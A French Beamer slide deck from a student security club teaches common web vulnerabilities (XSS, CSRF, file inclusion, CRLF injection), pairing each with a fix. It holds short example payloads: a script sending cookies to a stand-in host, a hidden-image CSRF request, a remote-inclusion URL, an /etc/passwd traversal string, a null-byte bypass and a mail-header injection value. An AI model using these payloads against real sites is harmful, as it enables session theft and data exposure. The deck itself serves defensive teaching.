-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtemplate.tex
More file actions
235 lines (193 loc) · 6.58 KB
/
template.tex
File metadata and controls
235 lines (193 loc) · 6.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
\documentclass{beamer}
\usepackage[T1]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage[english]{babel}
\usepackage{lmodern}
% \usepackage{forloop}
\usepackage{multicol}
\usepackage{animate}
\usepackage{default}
\usepackage{listing}
\usepackage[list=true]{subcaption}
\captionsetup{compatibility=false}
\usepackage{etex}
\usepackage{tikz}
\usepackage{pgfplots}
% \usepackage{polyglossia}
% \usepackage{listings}
% \usepackage{ulem}
% \usepackage{multicol}
% \setbeamertemplate{navigation symbols}{}
% \setbeamertemplate{sidebar right}{}
% \setbeamertemplate{footline}{\hfill\insertframenumber{} | \inserttotalframenumber}
% \newcommand{\myline}{\par
% \kern0.5pt
% \hrule height 0.8pt
% \kern0.5pt
% }
\usecolortheme{cormorant}
\useoutertheme{infolines}
\title[Failles Web]{H4ck 1n TN}
\subtitle{Failles Web}
\author[H4ck1nTN]{Valentin STERN}
\institute[HiT]{Ceten -- TELECOM Nancy}
\date{\today}
\logo{\includegraphics[width=1.3cm]{logo.png}}
\begin{document}
\begin{frame}
\titlepage
\end{frame}
\section{Introduction}
\begin{frame}{D'où viennent les failles?}
\begin{itemize}
\item Du serveur en général
\item Surtout en PHP car c'est le langage le plus utilisé
\item Pas développé de manière sécurisé au départ
\end{itemize}
\end{frame}
\begin{frame}{Les failles vues dans cette présentation}
\begin{itemize}
\item Faille XSS
\item CSRF
\item File Inclusion
\item CRLF
\end{itemize}
\end{frame}
\section{Faille XSS}
\begin{frame}{Faille XSS}
\begin{itemize}
\item Utilisée en général pour voler des cookies
\item Pour rediriger vers des pubs
\item Embêter les utilisateurs
\end{itemize}
\end{frame}
\begin{frame}{Son fonctionnement}
\begin{itemize}
\item Nécessite un formulaire qui réaffiche les données entrées
\item Permet d'éxécuter du javascript sur le client d'autres personnes
\item Par exemple : <script>alert('Hello')</script>
\end{itemize}
\end{frame}
\begin{frame}{Comment voler les cookies ?}
\begin{itemize}
\item Contenus dans document.cookie
\item Nécessite un serveur, avec un fichier enregistrant ce qu'on lui envoie
\item <script>window.location.replace('http://monsite.org/index.php?c=' + document.cookie.toString())</script>
\end{itemize}
\end{frame}
\begin{frame}{Comment la sécuriser ?}
\begin{itemize}
\item Echapper les caractères
\item Remplace donc par exemple < par \<\;
\item Affiche donc au final <script>alert('Hello')</script> et n'éxécute pas le code
\end{itemize}
\end{frame}
\section{Faille CSRF}
\begin{frame}{CSRF}
\begin{itemize}
\item Acronyme de Cross-Site Request Forgery
\item Permet d'utiliser les droits d'un autre utilisateur pour faire ce que l'on veut
\end{itemize}
\end{frame}
\begin{frame}{Comment ça marche?}
\begin{itemize}
\item Demander à un utilisateur d'aller sur un lien
\item Ou le cacher dans une image :
\item $<$img src="http://monsite.org/compte.php?numeroCompte=1337" \\
width="0" height="0" border="0"$>$
\item L'utilisateur va donc effectuer l'action que l'on veut avec sa session
\end{itemize}
\end{frame}
\begin{frame}{Comment la sécuriser ?}
\begin{itemize}
\item Ajouter un token nécessaire dans chaque formulaire sur le site que l'on veut sécuriser
\item <input type="hidden" name="CSRFToken" value="Token chiffré" >
\end{itemize}
\end{frame}
\section{Faille RFI/LFI}
\begin{frame}{RFI (Remote File Inclusion)}
\begin{itemize}
\item Principe : Inclure un site dans le site
\item Passe par l'inclusion de page avec des paramètres
\item Permet d'envoyer des données personalisés
\item Permet également d'executer du code PHP sur la machine distante
\item http://monsite.org/index.php?view=http://hacking.org/hack.php
\end{itemize}
\end{frame}
\begin{frame}{LFI : Directory traversal}
\begin{itemize}
\item Principe : Accéder à un dossier dont nous ne sommes pas autorisé
\item Par exemple : \\
<?php include ('/home/users/web/views/' . \$\_GET['view']); ?>
\item On accède donc à l'accueil par :
\item http://monsite.org/index.php?view=accueil.php
\end{itemize}
\end{frame}
\begin{frame}{Exploiter cela}
\begin{itemize}
\item Envoyer une vue naviguant dans les dossiers
\item Par exemple : \\
'../../../../../../../../../etc/passwd' et accéder au fichier de password de la machine
\item On peut ainsi accéder au fichier que l'on veut sur la machine !
\end{itemize}
\end{frame}
\begin{frame}{Comment la sécuriser ?}
\begin{itemize}
\item On peut penser que l'on peut interdir les caractères ../ ou même simplement ..
\item Mais dans ce cas on peut envoyer l'encodage URL des caractères : \%2e\%2e\%2f = ../
\item Dans ce cas cette sécurisation ne sert à rien
\end{itemize}
\end{frame}
\begin{frame}{Comment la sécuriser ?}
\begin{itemize}
\item<1-> Tout simplement : include(\$\_GET['file'] . '.html')
\item<1-> Limite donc les fichiers à ceux au format HTML
\item<2-> Mais ne fonctionne pas si on ajoute \%00
\item<2-> Exemple si \$\_GET['file'] vaut secret.txt\%00
\item<2-> include( 'secret.txt\%00' . '.html') $\rightarrow$ include( 'secret.txt')
\end{itemize}
\end{frame}
\begin{frame}{Quelle est la solution?}
\begin{itemize}
\item Autoriser seulement les caractère a-zA-Z0-9
\item Ne pas utiliser la variable directement mais seulement pour faire un choix (via un switch par exemple)
\item Trouver un autre moyen
\end{itemize}
\end{frame}
\section{Faille CRLF}
\begin{frame}{CRLF}
\begin{itemize}
\item CRLF signifie Carriage Return Line Feed
\item Carriage Return : Retour Chariot \textbackslash r
\item Line Feed : Saut de ligne \textbackslash n
\item Consiste donc à placer des fin de ligne à certains endroits
\end{itemize}
\end{frame}
\begin{frame}{Où placer ces caractères}
\begin{itemize}
\item Où?
\item Dans l'input des envois de mails de mot de passe oublié
\item Le retour à la ligne signife un destinataire supplémentaire
\item On peut donc envoyer des mails grâce au site web de la victime
\end{itemize}
\end{frame}
\begin{frame}{Son utilité}
\begin{itemize}
\item Envoie deux mails avec le nouveau mot de passe
\item mail1@service.com\%0A\%0Dmail2@service.com
\end{itemize}
\end{frame}
\begin{frame}{Comment sécuriser?}
\begin{itemize}
\item \$chaine\_secure = str\_replace(array("\textbackslash n","\textbackslash r",PHP\_EOL),'',\$chaine\_utilisateur);
\end{itemize}
\end{frame}
\section{Conclusion}
\begin{frame}{Conclusion}
\begin{itemize}
\item Ne jamais faire confiance à l'utilisateur
\item Vérifier tous les points d'entré du site
\item Se renseigner sur les diférents types d'attaque (OWASP top 10)
\end{itemize}
\end{frame}
\end{document}